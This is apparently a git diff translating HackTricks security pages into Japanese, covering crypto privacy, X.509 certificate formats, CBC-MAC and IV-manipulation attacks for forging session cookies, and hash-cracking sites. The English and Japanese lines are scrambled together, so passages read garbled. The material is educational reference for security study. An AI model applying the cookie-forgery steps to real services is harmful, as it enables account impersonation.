上記のようなトランザクションはPayJoinの可能性があり、標準的なビットコイントランザクションと区別がつかないままプライバシーを向上させます。
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. **PayJoinの利用は、従来の監視手法を大きく妨げる可能性があります**。これは、トランザクションプライバシーの追求において有望な発展です。
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. # 暗号通貨におけるプライバシーのベストプラクティス
# Best Practices for Privacy in Cryptocurrencies ## **ウォレット同期技術**
## **Wallet Synchronization Techniques** プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。特に目立つ2つの方法があります
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: - **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべてのトランザクションがローカルに保存され、敵対者がユーザーの関心のあるトランザクションやアドレスを特定することは不可能です。
- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連するトランザクションを特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. ## **匿名性のためのTorの利用**
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizing Tor for Anonymity** ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとのやり取り時にプライバシーが向上します。
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. ## **アドレスの再利用防止**
## **Preventing Address Reuse** プライバシーを守るためには、各トランザクションに新しいアドレスを使用することが重要です。アドレスを再利用すると、トランザクションが同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. ## **トランザクションプライバシーの戦略**
## **Strategies for Transaction Privacy** - **複数のトランザクション**:支払いをいくつかのトランザクションに分割することで、トランザクションの金額を不明瞭にし、プライバシー攻撃を防ぎます。
- **お釣りの回避**:お釣りの出力が不要なトランザクションを選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。
- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. # **モネロ:匿名性の灯台**
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: A Beacon of Anonymity** モネロはデジタルトランザクションにおける絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. # **イーサリアム:ガスとトランザクション**
# **Ethereum: Gas and Transactions** ## **ガスの理解**
## **Understanding Gas** ガスは、イーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。たとえば、2,310,000 gweiまたは0.00231 ETHのコストがかかるトランザクションは、ガス制限と基本料金があり、マイナーへのインセンティブとしてチップが含まれます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余分な料金は返金されます。
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. ## **トランザクションの実行**
## **Executing Transactions** イーサリアムのトランザクションには送信者と受信者が含まれ、受信者はユーザーまたはスマートコントラクトのアドレスである可能性があります。トランザクションには料金が必要で、マイニングされなければなりません。トランザクションにおける重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、料金が含まれます。特に、送信者のアドレスは署名から推測されるため、トランザクションデータに含める必要はありません。
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. ## 参考文献
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,47 +1,38 @@
# Certificates # 証明書
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure> ## 証明書とは
\ **公開鍵証明書**は、暗号学で誰かが公開鍵を所有していることを証明するために使用されるデジタルIDです。これには鍵の詳細、所有者の身元主題、および信頼できる機関発行者からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} 証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate_authority)CAによって[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key_infrastructure)PKIセットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web_of_trust)で、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)で、RFC 5280に記載されている特定のニーズに合わせて適応できます。
## What is a Certificate ## x509の一般的なフィールド
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. ### **x509証明書の一般的なフィールド**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. x509証明書には、証明書の有効性とセキュリティを確保するために重要な役割を果たすいくつかの**フィールド**があります。これらのフィールドの内訳は以下の通りです:
## x509 Common Fields - **バージョン番号**はx509形式のバージョンを示します。
- **シリアル番号**は、証明書機関CAのシステム内で証明書を一意に識別し、主に取り消し追跡のために使用されます。
- **主題**フィールドは証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます:
- **共通名CN**:証明書でカバーされるドメイン。
- **国C**、**地域L**、**州または省ST、S、またはP**、**組織O**、および**組織単位OU**は地理的および組織的な詳細を提供します。
- **識別名DN**は完全な主題識別をカプセル化します。
- **発行者**は証明書を検証し署名した人物を示し、CAのための主題と同様のサブフィールドを含みます。
- **有効期間**は**Not Before**および**Not After**のタイムスタンプで示され、証明書が特定の日付の前または後に使用されないことを保証します。
- **公開鍵**セクションは、証明書のセキュリティにとって重要で、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
- **x509v3拡張**は証明書の機能を強化し、**鍵の使用**、**拡張鍵の使用**、**主題代替名**、および証明書の適用を微調整するためのその他のプロパティを指定します。
### **Common Fields in x509 Certificates** #### **鍵の使用と拡張**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **鍵の使用**は、公開鍵の暗号化アプリケーションを特定します。例えば、デジタル署名や鍵の暗号化などです。
- **拡張鍵の使用**は、証明書の使用ケースをさらに絞り込みます。例えば、TLSサーバー認証のためです。
- **主題代替名**および**基本制約**は、証明書でカバーされる追加のホスト名と、それがCAまたはエンドエンティティ証明書であるかどうかを定義します。
- **主題鍵識別子**や**権限鍵識別子**のような識別子は、鍵の一意性と追跡可能性を保証します。
- **権限情報アクセス**および**CRL配布ポイント**は、発行CAを検証し、証明書の取り消し状況を確認するためのパスを提供します。
- **CTプレ証明書SCT**は、証明書に対する公的信頼にとって重要な透明性ログを提供します。
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file) # Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file: with open("cert.pem", "rb") as file:
cert_data = file.read() cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields # Accessing fields
serial_number = certificate.serial_number serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **OCSPとCRL配布ポイントの違い**
### **Difference between OCSP and CRL Distribution Points** **OCSP** (**RFC 2560**) は、クライアントとレスポンダーが協力してデジタル公開鍵証明書が取り消されたかどうかを確認する方法で、完全な**CRL**をダウンロードする必要がありません。この方法は、取り消された証明書のシリアル番号のリストを提供する従来の**CRL**よりも効率的であり、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512エントリが含まれることがあります。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)で確認できます。
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). ### **証明書の透明性とは**
### **What is Certificate Transparency** 証明書の透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに見えるようにすることで、証明書関連の脅威と戦うのに役立ちます。その目的は次のとおりです
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: - ドメイン所有者の知らないうちにCAがドメインのSSL証明書を発行するのを防ぐこと。
- 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
- ユーザーを詐欺的な証明書から保護すること。
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. #### **証明書ログ**
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Certificate Logs** 証明書ログは、ネットワークサービスによって維持される公開監査可能な追加専用の証明書記録です。これらのログは監査目的のための暗号的証明を提供します。発行機関と一般の人々は、これらのログに証明書を提出したり、検証のために照会したりできます。ログサーバーの正確な数は固定されていませんが、世界中で千未満であると予想されています。これらのサーバーは、CA、ISP、または関心のある任意の団体によって独立して管理されることがあります。
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. #### **クエリ**
#### **Query** 任意のドメインの証明書透明性ログを探索するには、[https://crt.sh/](https://crt.sh)を訪問してください。
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). 証明書を保存するためのさまざまな形式が存在し、それぞれに独自の使用ケースと互換性があります。この要約では、主要な形式をカバーし、それらの間の変換に関するガイダンスを提供します。
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. ## **形式**
## **Formats** ### **PEM形式**
### **PEM Format** - 証明書の最も広く使用されている形式。
- 証明書と秘密鍵のために別々のファイルが必要で、Base64 ASCIIでエンコードされています。
- 一般的な拡張子:.cer、.crt、.pem、.key。
- 主にApacheや同様のサーバーで使用されます。
- Most widely used format for certificates. ### **DER形式**
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Format** - 証明書のバイナリ形式。
- PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントがありません。
- 一般的な拡張子:.cer、.der。
- Javaプラットフォームでよく使用されます。
- A binary format of certificates. ### **P7B/PKCS#7形式**
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Format** - Base64 ASCIIで保存され、拡張子は.p7bまたは.p7c。
- 秘密鍵を除く証明書とチェーン証明書のみを含みます。
- Microsoft WindowsおよびJava Tomcatでサポートされています。
- Stored in Base64 ASCII, with extensions .p7b or .p7c. ### **PFX/P12/PKCS#12形式**
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Format** - サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリ形式。
- 拡張子:.pfx、.p12。
- 主にWindowsで証明書のインポートとエクスポートに使用されます。
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. ### **形式の変換**
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Converting Formats** **PEM変換**は互換性のために重要です:
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
- **x509からPEMへ**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
- **PEMからDER**
- **PEM to DER**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
- **DERからPEMへ**
- **DER to PEM**
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
- **PEM から P7B へ**
- **PEM to P7B**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
- **PKCS7をPEMに**
- **PKCS7 to PEM**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX 変換**は、Windows上での証明書管理において重要です
**PFX conversions** are crucial for managing certificates on Windows: - **PFX から PEM**
- **PFX to PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
- **PFX to PKCS#8** は2つのステップを含みます
- **PFX to PKCS#8** involves two steps: 1. PFXをPEMに変換する
1. Convert PFX to PEM
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEMをPKCS8に変換する
2. Convert PEM to PKCS8
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
- **P7B to PFX** には2つのコマンドも必要です
- **P7B to PFX** also requires two commands: 1. P7BをCERに変換します
1. Convert P7B to CER
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CERとプライベートキーをPFXに変換する
2. Convert CER and Private Key to PFX
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
- **ASN.1 (DER/PEM) 編集** (証明書やほぼすべての他のASN.1構造で動作します):
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): 1. [asn1template](https://github.com/wllm-rbnt/asn1template/)をクローンします。
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash ```bash
git clone https://github.com/wllm-rbnt/asn1template.git git clone https://github.com/wllm-rbnt/asn1template.git
``` ```
2. DER/PEMをOpenSSLの生成フォーマットに変換する
2. Convert DER/PEM to OpenSSL's generation format
```bash ```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
``` ```
3. 要件に応じて certificatename.tpl を編集します。
3. Edit certificatename.tpl according to your requirements
```bash ```bash
vim certificatename.tpl vim certificatename.tpl
``` ```
4. 修正された証明書を再構築する
4. Rebuild the modified certificate
```bash ```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
``` ```
--- ---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC # CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. もし**クッキー**が**ユーザー名**だけで(またはクッキーの最初の部分がユーザー名で)、「**admin**」というユーザー名を偽装したい場合、**"bdmin"**というユーザー名を作成し、**最初のバイト**を**ブルートフォース**することができます。
# CBC-MAC # CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. **暗号ブロック連鎖メッセージ認証コード****CBC-MAC**)は、暗号学で使用される方法です。これは、メッセージをブロックごとに暗号化し、各ブロックの暗号化が前のブロックにリンクされることで機能します。このプロセスは**ブロックの連鎖**を作成し、元のメッセージのビットを1つ変更するだけでも、暗号化されたデータの最後のブロックに予測不可能な変化をもたらすことを保証します。このような変更を行うまたは逆にするためには、暗号化キーが必要であり、セキュリティが確保されます。
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: メッセージmのCBC-MACを計算するには、ゼロ初期化ベクトルでCBCモードでmを暗号化し、最後のブロックを保持します。以下の図は、秘密鍵kとブロック暗号Eを使用して、ブロックからなるメッセージのCBC-MACの計算を概略しています[https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability # 脆弱性
With CBC-MAC usually the **IV used is 0**.\ CBC-MACでは通常**使用されるIVは0**です。\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: これは問題です。なぜなら、2つの既知のメッセージ`m1``m2`が独立して2つの署名`s1``s2`)を生成するからです。したがって:
- `E(m1 XOR 0) = s1` - `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2` - `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): 次に、m1とm2を連結したメッセージm3は2つの署名s31とs32を生成します
- `E(m1 XOR 0) = s31 = s1` - `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32` - `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.** **これは暗号化のキーを知らなくても計算可能です。**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks: あなたが**Administrator**という名前を**8バイト**のブロックで暗号化していると想像してください:
- `Administ` - `Administ`
- `rator\00\00\00` - `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\ **Administ**m1というユーザー名を作成し、署名s1を取得できます。\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ 次に、`rator\00\00\00 XOR s1`の結果を持つユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`がs32を生成します。\
now, you can use s32 as the signature of the full name **Administrator**. 今、s32を**Administrator**というフルネームの署名として使用できます。
### Summary ### まとめ
1. Get the signature of username **Administ** (m1) which is s1 1. ユーザー名**Administ**m1の署名s1を取得します。
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** 2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名s32を取得します。**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. 3. クッキーをs32に設定すると、**Administrator**ユーザーの有効なクッキーになります。
# Attack Controlling IV # IVの制御攻撃
If you can control the used IV the attack could be very easy.\ 使用されるIVを制御できる場合、攻撃は非常に簡単になる可能性があります。\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ クッキーが単に暗号化されたユーザー名である場合、ユーザー「**administrator**」を偽装するために、ユーザー「**Administrator**」を作成し、そのクッキーを取得できます。\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. 今、IVを制御できる場合、IVの最初のバイトを変更することができ、**IV\[0] XOR "A" == IV'\[0] XOR "a"**となり、ユーザー**Administrator**のクッキーを再生成できます。このクッキーは、初期**IV**を使用してユーザー**administrator**を**偽装**するのに有効です。
## References ## 参考文献
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) 詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Online Hashes DBs ## Online Hashes DBs
- _**Google it**_ - _**Googleで検索**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net) - [https://crackstation.net/](https://crackstation.net)
@ -25,7 +25,7 @@
## Encoders ## Encoders
Most of encoded data can be decoded with these 2 ressources: ほとんどのエンコードされたデータは、これらの2つのリソースでデコードできます
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers ### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good ! - [https://quipqiup.com/](https://quipqiup.com) - とても良い!
#### Caesar - ROTx Autosolvers #### Caesar - ROTx Autosolvers
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver ### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) これらのすべてのベースを確認してください: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85** - **Ascii85**
- `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_] - **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT` - `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_] - **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====` - `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====` - `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_] - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====` - `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====` - `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_] - **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====` - `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_] - **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD` - `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC` - `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac` - `2YiHqF5bf9FLSt6ac`
